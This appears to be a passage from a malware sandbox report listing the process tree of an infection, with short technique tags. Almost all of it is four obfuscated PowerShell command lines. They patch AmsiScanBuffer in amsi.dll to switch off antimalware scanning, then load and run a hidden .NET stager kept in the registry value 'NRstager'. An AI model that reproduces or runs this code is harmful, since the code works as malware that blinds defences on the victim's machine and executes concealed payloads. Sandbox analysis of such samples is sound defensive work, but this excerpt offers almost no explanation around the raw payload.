C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:OsRBdJVzwenq{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$mdbtqgQDpaTDXY,[Parameter(Position=1)][Type]$lSSXFZwcdk)$UaiRzsNvfUR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+'e'+'c'+''+[Char](116)+'ed'+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'Memor'+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+'e',$False).DefineType(''+'M'+'y'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+'t'+'e'+''+'T'+'ype',''+[Char](67)+''+'l'+'as'+'s'+''+[Char](44)+'P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+'e'+'d'+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+'i'+'C'+'l'+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+'C'+'l'+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$UaiRzsNvfUR.DefineConstructor('R'+[Char](84)+'S'+'p'+''+'e'+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+'i'+'d'+'e'+'B'+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$mdbtqgQDpaTDXY).SetImplementationFlags('Ru'+'n'+''+'t'+'im'+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$UaiRzsNvfUR.DefineMethod('In'+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+'H'+[Char](105)+'d'+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+',V'+'i'+''+'r'+''+[Char](116)+'u'+'a'+''+'l'+'',$lSSXFZwcdk,$mdbtqgQDpaTDXY).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'ti'+[Char](109)+''+[Char](101)+','+[Char](77)+'a'+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $UaiRzsNvfUR.CreateType();}$TtPTxJLqsUlvD=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+'l')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+'r'+'o'+'s'+''+[Char](111)+'f'+[Char](116)+''+'.'+''+'W'+''+'i'+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+'U'+'nsafeN'+'a'+'t'+'i'+''+[Char](118)+''+[Char](101)+''+'M'+''+[Char](101)+'t'+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$IYuPsrClOjejim=$TtPTxJLqsUlvD.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$JXbVKkdfZSclMKhwOOL=OsRBdJVzwenq @([String])([IntPtr]);$xKOZzwItLQeGVObsKYIBYI=OsRBdJVzwenq @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FCaihhgfNHl=$TtPTxJLqsUlvD.GetMethod(''+'G'+''+'e'+''+[Char](116)+'Mo'+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+'a'+[Char](110)+''+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+'dll')));$ZhpCCDaPHJAfUN=$IYuPsrClOjejim.Invoke($Null,@([Object]$FCaihhgfNHl,[Object](''+'L'+'o'+'a'+''+[Char](100)+''+'L'+''+'i'+''+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+'y'+[Char](65)+'')));$JTamLpxkpxFmpgdGH=$IYuPsrClOjejim.Invoke($Null,@([Object]$FCaihhgfNHl,[Object](''+[Char](86)+'i'+'r'+''+'t'+''+'u'+'a'+'l'+''+[Char](80)+''+[Char](114)+''+'o'+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$LJigMBq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZhpCCDaPHJAfUN,$JXbVKkdfZSclMKhwOOL).Invoke('a'+[Char](109)+''+[Char](115)+'i'+[Char](46)+'d'+'l'+''+'l'+'');$yLrHUIazlZzvlNWQE=$IYuPsrClOjejim.Invoke($Null,@([Object]$LJigMBq,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+'e'+[Char](114)+'')));$GbzLYEzveW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JTamLpxkpxFmpgdGH,$xKOZzwItLQeGVObsKYIBYI).Invoke($yLrHUIazlZzvlNWQE,[uint32]8,4,[ref]$GbzLYEzveW);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](228-91),[Byte](19+191),[Byte](107+77),[Byte](19+68),[Byte](124-124),[Byte](32-25),[Byte](154-26),[Byte](35+96),[Byte](163+30),[Byte](228-228),[Byte](7+188),[Byte](179-48),[Byte](11+181),[Byte](209-209)),0,$yLrHUIazlZzvlNWQE,97-83);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JTamLpxkpxFmpgdGH,$xKOZzwItLQeGVObsKYIBYI).Invoke($yLrHUIazlZzvlNWQE,[uint32]8,0x20,[ref]$GbzLYEzveW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'OFT'+'W'+''+[Char](65)+'RE').GetValue(''+'N'+''+[Char](82)+''+'s'+''+[Char](116)+'a'+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:goOMZDebUfHt{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$DdecuETHuHeQIr,[Parameter(Position=1)][Type]$uSGkolPcBq)$CHHTrOxocRR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+'c'+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+'e'+'gate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+'o'+'r'+'y'+''+'M'+'o'+'d'+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+'a'+'t'+''+[Char](101)+''+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+'la'+[Char](115)+''+[Char](115)+',P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+'e'+''+'a'+''+'l'+''+'e'+''+'d'+','+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+'s'+''+[Char](44)+''+'A'+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$CHHTrOxocRR.DefineConstructor(''+[Char](82)+''+'T'+'Sp'+[Char](101)+''+[Char](99)+''+'i'+''+'a'+''+[Char](108)+''+'N'+'a'+[Char](109)+'e'+','+''+[Char](72)+''+'i'+''+[Char](100)+''+'e'+'B'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$DdecuETHuHeQIr).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$CHHTrOxocRR.DefineMethod('In'+'v'+'ok'+'e'+'','P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c,'+'H'+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+'y'+[Char](83)+''+'i'+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+'wSlo'+[Char](116)+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+'t'+[Char](117)+'a'+[Char](108)+'',$uSGkolPcBq,$DdecuETHuHeQIr).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+'t'+''+'i'+''+[Char](109)+''+[Char](101)+',M'+[Char](97)+''+[Char](110)+'a'+'g'+'e'+[Char](100)+'');Write-Output $CHHTrOxocRR.CreateType();}$kvibYORUXKdip=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+'em'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+'f'+'e'+'N'+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+'e'+''+'M'+''+'e'+''+[Char](116)+'hod'+[Char](115)+'');$hGcUYujGcbsZhZ=$kvibYORUXKdip.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+''+'r'+''+[Char](111)+''+'c'+''+[Char](65)+'d'+[Char](100)+'r'+[Char](101)+''+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vEgdePIzBzgpFaAZwHN=goOMZDebUfHt @([String])([IntPtr]);$uSOLvVRXgVNIRcJVzhcdUO=goOMZDebUfHt @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$TTYlfjJMCOd=$kvibYORUXKdip.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+'H'+'a'+[Char](110)+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$PPkYIiLWFTCPos=$hGcUYujGcbsZhZ.Invoke($Null,@([Object]$TTYlfjJMCOd,[Object](''+[Char](76)+'o'+'a'+'d'+[Char](76)+'i'+'b'+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+'A'+'')));$jaCQsCqaUhlqicKJQ=$hGcUYujGcbsZhZ.Invoke($Null,@([Object]$TTYlfjJMCOd,[Object](''+'V'+'irt'+[Char](117)+''+'a'+''+'l'+'Pr'+'o'+''+'t'+'e'+'c'+'t')));$ychpuYL=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PPkYIiLWFTCPos,$vEgdePIzBzgpFaAZwHN).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$kltWUEfVcsPnuWbez=$hGcUYujGcbsZhZ.Invoke($Null,@([Object]$ychpuYL,[Object](''+'A'+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](83)+''+'c'+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$WpEUkFAxno=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jaCQsCqaUhlqicKJQ,$uSOLvVRXgVNIRcJVzhcdUO).Invoke($kltWUEfVcsPnuWbez,[uint32]8,4,[ref]$WpEUkFAxno);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](156-19),[Byte](3+198),[Byte](52+132),[Byte](147-60),[Byte](253-253),[Byte](136-129),[Byte](181-53),[Byte](35+102),[Byte](138+72),[Byte](9+186),[Byte](68+69),[Byte](81+120)),0,$kltWUEfVcsPnuWbez,243-231);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jaCQsCqaUhlqicKJQ,$uSOLvVRXgVNIRcJVzhcdUO).Invoke($kltWUEfVcsPnuWbez,[uint32]8,0x20,[ref]$WpEUkFAxno);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'N'+'R'+'s'+''+[Char](116)+''+[Char](97)+''+'g'+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:goOMZDebUfHt{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$DdecuETHuHeQIr,[Parameter(Position=1)][Type]$uSGkolPcBq)$CHHTrOxocRR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+'c'+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+'e'+'gate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+'o'+'r'+'y'+''+'M'+'o'+'d'+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+'a'+'t'+''+[Char](101)+''+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+'la'+[Char](115)+''+[Char](115)+',P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+'e'+''+'a'+''+'l'+''+'e'+''+'d'+','+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+'s'+''+[Char](44)+''+'A'+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$CHHTrOxocRR.DefineConstructor(''+[Char](82)+''+'T'+'Sp'+[Char](101)+''+[Char](99)+''+'i'+''+'a'+''+[Char](108)+''+'N'+'a'+[Char](109)+'e'+','+''+[Char](72)+''+'i'+''+[Char](100)+''+'e'+'B'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$DdecuETHuHeQIr).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$CHHTrOxocRR.DefineMethod('In'+'v'+'ok'+'e'+'','P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c,'+'H'+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+'y'+[Char](83)+''+'i'+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+'wSlo'+[Char](116)+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+'t'+[Char](117)+'a'+[Char](108)+'',$uSGkolPcBq,$DdecuETHuHeQIr).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+'t'+''+'i'+''+[Char](109)+''+[Char](101)+',M'+[Char](97)+''+[Char](110)+'a'+'g'+'e'+[Char](100)+'');Write-Output $CHHTrOxocRR.CreateType();}$kvibYORUXKdip=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+'em'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+'f'+'e'+'N'+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+'e'+''+'M'+''+'e'+''+[Char](116)+'hod'+[Char](115)+'');$hGcUYujGcbsZhZ=$kvibYORUXKdip.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+''+'r'+''+[Char](111)+''+'c'+''+[Char](65)+'d'+[Char](100)+'r'+[Char](101)+''+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vEgdePIzBzgpFaAZwHN=goOMZDebUfHt @([String])([IntPtr]);$uSOLvVRXgVNIRcJVzhcdUO=goOMZDebUfHt @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$TTYlfjJMCOd=$kvibYORUXKdip.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+'H'+'a'+[Char](110)+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$PPkYIiLWFTCPos=$hGcUYujGcbsZhZ.Invoke($Null,@([Object]$TTYlfjJMCOd,[Object](''+[Char](76)+'o'+'a'+'d'+[Char](76)+'i'+'b'+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+'A'+'')));$jaCQsCqaUhlqicKJQ=$hGcUYujGcbsZhZ.Invoke($Null,@([Object]$TTYlfjJMCOd,[Object](''+'V'+'irt'+[Char](117)+''+'a'+''+'l'+'Pr'+'o'+''+'t'+'e'+'c'+'t')));$ychpuYL=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PPkYIiLWFTCPos,$vEgdePIzBzgpFaAZwHN).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$kltWUEfVcsPnuWbez=$hGcUYujGcbsZhZ.Invoke($Null,@([Object]$ychpuYL,[Object](''+'A'+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](83)+''+'c'+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$WpEUkFAxno=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jaCQsCqaUhlqicKJQ,$uSOLvVRXgVNIRcJVzhcdUO).Invoke($kltWUEfVcsPnuWbez,[uint32]8,4,[ref]$WpEUkFAxno);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](156-19),[Byte](3+198),[Byte](52+132),[Byte](147-60),[Byte](253-253),[Byte](136-129),[Byte](181-53),[Byte](35+102),[Byte](138+72),[Byte](9+186),[Byte](68+69),[Byte](81+120)),0,$kltWUEfVcsPnuWbez,243-231);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jaCQsCqaUhlqicKJQ,$uSOLvVRXgVNIRcJVzhcdUO).Invoke($kltWUEfVcsPnuWbez,[uint32]8,0x20,[ref]$WpEUkFAxno);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'N'+'R'+'s'+''+[Char](116)+''+[Char](97)+''+'g'+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:EECHXiVafEVs{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kQREFGTuYoionD,[Parameter(Position=1)][Type]$yULphWfyyU)$ihBoHmtjAix=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+'le'+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+'dul'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+'e'+''+[Char](103)+''+'a'+''+'t'+''+'e'+'Typ'+[Char](101)+'',''+'C'+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+'P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+','+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+'s'+'s'+','+'A'+''+[Char](117)+'to'+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+'',[MulticastDelegate]);$ihBoHmtjAix.DefineConstructor('R'+[Char](84)+''+'S'+'pe'+[Char](99)+''+[Char](105)+''+'a'+''+'l'+''+[Char](78)+''+[Char](97)+'m'+[Char](101)+',Hi'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$kQREFGTuYoionD).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+'i'+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+'e'+''+[Char](100)+'');$ihBoHmtjAix.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+'u'+'b'+[Char](108)+''+'i'+'c'+[Char](44)+''+[Char](72)+''+'i'+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+',Ne'+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+',V'+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$yULphWfyyU,$kQREFGTuYoionD).SetImplementationFlags('R'+[Char](117)+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+'e,'+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+''+'d'+'');Write-Output $ihBoHmtjAix.CreateType();}$pnkREGzJTALtj=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'ys'+[Char](116)+'em'+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType('M'+'i'+''+[Char](99)+'r'+'o'+''+[Char](115)+'oft'+[Char](46)+'W'+[Char](105)+''+[Char](110)+'32'+[Char](46)+''+'U'+''+'n'+'s'+[Char](97)+''+'f'+''+'e'+''+'N'+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+'e'+'t'+''+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$FvlNeddhayOxEX=$pnkREGzJTALtj.GetMethod('Get'+[Char](80)+'ro'+[Char](99)+''+[Char](65)+''+[Char](100)+'dr'+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$eAPJiZPVQeEsFhhupkR=EECHXiVafEVs @([String])([IntPtr]);$KfImEXPKbHfzkAXTgCaoSG=EECHXiVafEVs @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$AXqPadOyvjX=$pnkREGzJTALtj.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+'M'+'od'+[Char](117)+''+'l'+''+'e'+''+[Char](72)+'a'+[Char](110)+'d'+'l'+'e').Invoke($Null,@([Object](''+[Char](107)+'er'+[Char](110)+''+[Char](101)+'l'+[Char](51)+''+'2'+''+[Char](46)+''+'d'+'l'+[Char](108)+'')));$LCAfyMGNvecrGX=$FvlNeddhayOxEX.Invoke($Null,@([Object]$AXqPadOyvjX,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+'r'+''+'y'+''+'A'+'')));$TfpzNBTpcgtOlNivG=$FvlNeddhayOxEX.Invoke($Null,@([Object]$AXqPadOyvjX,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$RAhONBX=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LCAfyMGNvecrGX,$eAPJiZPVQeEsFhhupkR).Invoke('a'+[Char](109)+''+'s'+''+[Char](105)+''+'.'+''+'d'+''+[Char](108)+'l');$ZMXlFqHXpVComoKAf=$FvlNeddhayOxEX.Invoke($Null,@([Object]$RAhONBX,[Object]('A'+'m'+''+'s'+''+[Char](105)+''+'S'+''+'c'+'a'+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$ruGzLbQgQS=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TfpzNBTpcgtOlNivG,$KfImEXPKbHfzkAXTgCaoSG).Invoke($ZMXlFqHXpVComoKAf,[uint32]8,4,[ref]$ruGzLbQgQS);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](133+4),[Byte](210+9),[Byte](238-54),[Byte](244-157),[Byte](32-32),[Byte](250-243),[Byte](34+94),[Byte](175-44),[Byte](209-17),[Byte](26-26),[Byte](184+11),[Byte](116+21),[Byte](56+136)),0,$ZMXlFqHXpVComoKAf,218-205);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TfpzNBTpcgtOlNivG,$KfImEXPKbHfzkAXTgCaoSG).Invoke($ZMXlFqHXpVComoKAf,[uint32]8,0x20,[ref]$ruGzLbQgQS);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+'FT'+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('NR'+[Char](115)+''+'t'+''+'a'+''+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
